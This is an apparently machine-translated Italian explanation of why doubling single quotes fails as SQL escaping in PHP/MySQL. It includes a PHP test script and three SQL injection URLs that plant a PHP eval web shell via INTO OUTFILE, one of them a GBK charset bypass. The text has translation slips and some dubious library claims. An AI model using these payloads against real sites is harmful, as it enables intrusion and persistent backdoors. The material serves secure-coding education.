Se sei solo sostituendo '
con ''
quindi potresti sfruttarlo iniettando un \'
che si trasformerà in un \''
e questo ti permetterà di scoppiare perché questo ti dà una virgoletta singola "carattere letterale" e una virgoletta singola reale. Tuttavia, la sostituzione di "\\"
con "\\\\"
nega questo attacco. La doppia virgoletta singola viene utilizzata per "sfuggire" alle virgolette singole per MS-SQL, ma questo non è appropriato per MySQL, ma può funzionare.
I seguenti codici dimostrano che questa funzione di escape è sicura per tutti tranne tre condizioni . Questo codice consente di modificare tutte le possibili variazioni delle carte di controllo e testarle per assicurarsi che non si verifichi un errore con una singola istruzione select racchiusa tra virgolette. Questo codice è stato testato su MySQL 5.1.41.
<?php
mysql_connect("localhost",'root','');
function escape($value) {
$value = str_replace("'","''",$value);
$value = str_replace("\\","\\\\",$value);
return $value;
}
$chars=array("'","\\","\0","a");
for($w=0;$w<4;$w++){
for($x=0;$x<4;$x++){
for($y=0;$y<4;$y++){
for($z=0;$z<4;$z++){
mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
}
}
}
}
print "Escape function is safe :(";
?>
Condizione vulnerabile 1:nessuna virgoletta utilizzata.
mysql_query("select username from users where id=".escape($_GET['id']));
Sfrutta:
http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"
Condizione vulnerabile 2:utilizzate le virgolette doppie
mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");
Sfrutta:
http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
Condizione vulnerabile 2:vengono utilizzate virgolette singole, tuttavia un viene utilizzato un set di caratteri alternativo. .
mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");
Sfrutta:
http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
La conclusione è usare sempre mysql_real_escape_string()
come routine di escape per MySQL. Le librerie di query parametrizzate come pdo e adodb usano sempre mysql_real_escape_string()
quando connesso a un database mysql. addslashes()
è MOLTO MEGLIO di una routine di escape perché si prende cura di una condizione vulnerabile 2. Va notato che nemmeno mysql_real_escape_string()
interromperà la condizione 1, tuttavia lo farà una libreria di query parametrizzata.